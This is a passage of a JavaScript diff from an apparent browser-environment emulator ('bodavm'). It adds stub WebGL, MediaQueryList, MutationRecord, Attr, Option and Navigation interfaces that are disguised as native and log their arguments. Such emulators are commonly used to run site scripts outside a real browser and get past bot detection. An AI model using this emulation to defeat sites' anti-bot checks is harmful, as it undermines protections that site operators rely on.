"clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearColor", { + configurable: true, + enumerable: true, + writable: true, + value: function clearColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearDepth", { + configurable: true, + enumerable: true, + writable: true, + value: function clearDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearDepth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearStencil", { + configurable: true, + enumerable: true, + writable: true, + value: function clearStencil() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearStencil", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "colorMask", { + configurable: true, + enumerable: true, + writable: true, + value: function colorMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "colorMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function disableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawArrays", { + configurable: true, + enumerable: true, + writable: true, + value: function drawArrays() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawArrays", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawElements", { + configurable: true, + enumerable: true, + writable: true, + value: function drawElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function enableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "scissor", { + configurable: true, + enumerable: true, + writable: true, + value: function scissor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "scissor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttribPointer", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribPointer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttribPointer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "viewport", { + configurable: true, + enumerable: true, + writable: true, + value: function viewport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "viewport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "makeXRCompatible", { + configurable: true, + enumerable: true, + writable: true, + value: function makeXRCompatible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "makeXRCompatible", arguments); + } +}, 'prototype'); +// MediaQueryList对象 + +bodavm.memory.globalobj['MediaQueryList'] = function MediaQueryList() { + console.log_copy('MediaQueryList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaQueryList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryList'], "MediaQueryList"); +bodavm.memory.globalobj['MediaQueryList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaQueryList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaQueryList', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "media_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "matches", { + configurable: true, + enumerable: true, + get: function matches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "matches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "addListener", { + configurable: true, + enumerable: true, + writable: true, + value: function addListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "addListener", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "removeListener", { + configurable: true, + enumerable: true, + writable: true, + value: function removeListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "removeListener", arguments); + } +}, 'prototype'); +// MutationRecord对象 + +bodavm.memory.globalobj['MutationRecord'] = function MutationRecord() { + console.log_copy('MutationRecord 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MutationRecord)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationRecord'], "MutationRecord"); +bodavm.toolsFunc.defineProperty('MutationRecord', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "addedNodes", { + configurable: true, + enumerable: true, + get: function addedNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "addedNodes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "removedNodes", { + configurable: true, + enumerable: true, + get: function removedNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "removedNodes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "previousSibling", { + configurable: true, + enumerable: true, + get: function previousSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "previousSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "nextSibling", { + configurable: true, + enumerable: true, + get: function nextSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "nextSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "attributeName", { + configurable: true, + enumerable: true, + get: function attributeName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "attributeNamespace", { + configurable: true, + enumerable: true, + get: function attributeNamespace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeNamespace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "oldValue", { + configurable: true, + enumerable: true, + get: function oldValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "oldValue_get", arguments); + }, + set: undefined +}, 'prototype'); +// webkitRequestFileSystem对象 + +bodavm.memory.globalobj['webkitRequestFileSystem'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitRequestFileSystem" +}); +// CSSRuleList对象 + +bodavm.memory.globalobj['CSSRuleList'] = function CSSRuleList() { + console.log_copy('CSSRuleList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSRuleList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRuleList'], "CSSRuleList"); +bodavm.toolsFunc.defineProperty('CSSRuleList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRuleList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "item", arguments); + } +}, 'prototype'); +// Attr对象 + +bodavm.memory.globalobj['Attr'] = function Attr() { + console.log_copy('Attr 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Attr)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Attr'], "Attr"); +bodavm.memory.globalobj['Attr'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Attr'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Attr', "namespaceURI", { + configurable: true, + enumerable: true, + get: function namespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "namespaceURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "prefix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "localName", { + configurable: true, + enumerable: true, + get: function localName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "localName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "ownerElement", { + configurable: true, + enumerable: true, + get: function ownerElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "ownerElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "specified", { + configurable: true, + enumerable: true, + get: function specified() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "specified_get", arguments); + }, + set: undefined +}, 'prototype'); +// Option对象 + +bodavm.memory.globalobj['Option'] = function Option() { + console.log_copy('Option 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Option(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Option'], "Option"); +bodavm.memory.globalobj['Option'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.toolsFunc.defineProperty('Option', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "defaultSelected", { + configurable: true, + enumerable: true, + get: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_get", arguments); + }, + set: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "selected", { + configurable: true, + enumerable: true, + get: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_get", arguments); + }, + set: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +// Navigation对象 + +bodavm.memory.globalobj['Navigation'] = function Navigation() { + console.log_copy('Navigation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Navigation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigation'], "Navigation"); +bodavm.memory.globalobj['Navigation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Navigation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Navigation', "currentEntry", { + configurable: true, + enumerable: true, + get: function currentEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "currentEntry_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "transition", { + configurable: true, + enumerable: true, + get: function transition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "transition_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "canGoBack", { + configurable: true, + enumerable: true, + get: function canGoBack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoBack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "canGoForward", { + configurable: true, + enumerable: true, + get: function canGoForward() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoForward_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigate", { + configurable: true, + enumerable: true, + get: function onnavigate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_get", arguments); + }, + set: function onnavigate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigatesuccess", { + configurable: true, + enumerable: true, + get: function onnavigatesuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_get", arguments); + }, + set: function onnavigatesuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigateerror", { + configurable: true, + enumerable: true, + get: function onnavigateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_get", arguments); + }, + set: function onnavigateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "oncurrententrychange", { + configurable: true, + enumerable: true, + get: function oncurrententrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_get", arguments); + }, + set: function oncurrententrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "back", { + configurable: true, + enumerable: true, + writable: true, + value: function back() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "back", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "forward", { + configurable: true, + enumerable: true, + writable: true, + value: function forward() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "forward", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "navigate", { + configurable: true, + enumerable: true, + writable: true, + value: function navigate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "navigate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "reload", { + configurable: true, + enumerable: true, + writable: true, + value: function reload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "reload", arguments); + } +}, 'prototype'); 